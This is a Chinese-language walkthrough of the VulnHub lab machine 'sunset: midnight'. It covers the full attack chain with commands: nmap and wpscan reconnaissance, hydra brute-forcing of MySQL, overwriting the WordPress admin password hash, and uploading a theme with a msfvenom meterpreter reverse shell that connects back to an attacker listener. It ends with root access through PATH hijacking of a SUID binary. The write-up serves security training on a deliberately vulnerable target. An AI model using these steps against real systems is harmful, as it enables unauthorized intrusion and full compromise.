vulnhub靶机渗透-sunset: midnight

2020-08-03 4,890


环境搭建

靶机描述

Difficulty: Intermediate

Important!: Before auditing this machine make sure you add the host "sunset-midnight" to your /etc/hosts file, otherwise it may not work as expected.

It is recommended to run this machine in Virtualbox.

This works better with ViritualBox rather than VMware?

靶机下载地址:https://download.vulnhub.com/sunset/midnight.7z

下载解压后将.ova导入虚拟机即可

网络配置

将网卡设置为NET模式,开始靶机不能正常获取ip,需要将/etc/network/interfaces文件里的网卡改为ens33,可参考

Vulnhub靶机检测不到IP地址

信息收集

1.获取靶机ip

arp-scan -l

1596350955936.png1596350955936

得到靶机地址为192.168.102.136

2.端口扫描

nmap -A 192.168.102.136 -p 1-65535

15963560829891596356082989.png

可以看到靶机开放了22端口、80端口和3306端口

先访问一下80端口,发现没有反应,在官网的靶机描述中得知需要将域名sunset-midnight添加到本地的/etc/hosts文件中,在windows中该文件位置在C:\Windows\System32\drivers\etc\hosts

1596357076302.png1596357076302

添加完成后便可以正常访问

15963573979111596357397911.png

在网站底部得到了该网站的cms为WordPress ,所以首先想到使用wpscan进行扫描

wpscan --url http://sunset-midnight/

1596358124575.png1596358124575

扫描得到了网站后台地址/wp-admin和一个插件,但是通过搜索发现该插件暂无可利用漏洞

之后尝试爆破网站用户

wpscan --url http://sunset-midnight/ -e u

1596359030399.png1596359030399

只存在一个admin用户,可尝试爆破密码进行登录

wpscan --url http://sunset-midnight/ -P /usr/share/wordlists/rockyou.txt u admin

在爆破的同时先尝试其他方法,由于服务器还开放了22端口和3306端口,也可以尝试进行爆破

爆破3306端口

hydra 192.168.102.136 mysql -l root -P /usr/share/wordlists/rockyou.txt

在爆破3306端口时成功得到了数据库密码为robert

1596360378229.png1596360378229

登陆mysql

 mysql -uroot -p -h sunset-midnight  #此处不能使用ip登陆

在wordpress_db数据库的wp_users表中发现了用户加密后的密码

15963617496761596361749676.png

该加密方式为wordpress的加密,很难破解,但是我们可以尝试将原来的密码覆盖掉,从而使用新的密码登陆后台

首先生成一个md5

21232f297a57a5a743894a0e4a801fc3 #admin

将其写入user_pass 中

update wp_users SET user_pass="21232f297a57a5a743894a0e4a801fc3" where id=1

1596362899035.png1596362899035

成功覆盖掉原来的密码,之后便可以使用admin/admin登陆网站后台,然而前面爆破到现在也没有爆破出来......

getshell

使用admin/admin登陆网站后台之后,可通过上传主题文件来getshell 首先先去官网下载一个主题压缩包,之后将

反弹shell的php代码写入shell.php中,然后将其放入压缩包一起上传

1596371110771.png1596371110771

说明:使用nc监听非常不稳定,所以下面使用msfvenom生成shell.php,msf进行监听获得shell

访问appearance->add new ->upload theme进行上传

15963715301641596371530164.png

之后访问/wp-content/themes/[主题名]/[shell文件名]即可得到一个shell


这里使用msfvenom生成反弹shell的php文件

msfvenom  -p php/meterpreter/reverse_tcp LHOST=192.168.102.128 LPORT=7777 -f raw > shell.php

之后使用msf监听

use exploit/multi/handler 
set payload php/meterpreter/reverse_tcp
set lhost 192.168.102.128set lport 7777
run

访问shell文件便可得到一个会话

15963728701351596372870135.png

进入交互模式

shell

python -c "import pty;pty.spawn('/bin/bash')"[object Object]

1596372960625.png

提权

此时这个shell权限很低,需要进行提权,首先查看/etc/passwd1596373744391

1596373744391.png

发现了一个jose用户,之后通过遍历在/var/www/html/wordpress/wp-config.php文件中发现了jose用户的密码645dc5a8871d2a4269d4cbe23f6ae103

15963739637581596373963758.png

开始以为是个md5,后来发现没有经过加密 直接切换到jose用户1596374023644

之后提权到root权限

使用sudo -l查看当前权限

1596374023644.png 1596375671167

发现jose不能使用sudo

1596375671167.png

查看SUDI权限的文件

find / -perm -u=s -type f 2>/dev/null

15963758649731596375864973.png

由于不能使用sudo命令,所以大多数命令都不能进行提权,但是发现status命令不太常见,执行一下

1596377057677.png1596377057677

发现了一个hint,但似乎对解题没什么帮助 从上面可以看到status使用了service命令,但是为未使用service的绝对路径,所以可以尝试更改$PATH来执行该文件

cd /tmp

echo "/bin/bash" > service 

chmod 777 service 

echo $PATH 

export PATH=/tmp:$PATH #将/tmp添加到环境变量中

status

执行完之后便成功获得了root权限

15964265171281596426517128.png

 

总结

nmap

wpscan

msfconsole

msfvenom

hydra爆破mysql

wordpress后台getshell

SUID提权、环境变量提权

参考文章:

Linux环境变量提权: https://xz.aliyun.com/t/2767

WordPress 后台GetShell总结: https://www.cnblogs.com/ssw6/p/12668000.html

本文作者:CyzCc

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/136484.html

Tags:
评论  (0)
快来写下你的想法吧!

CyzCc

文章数:2 积分: 40

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号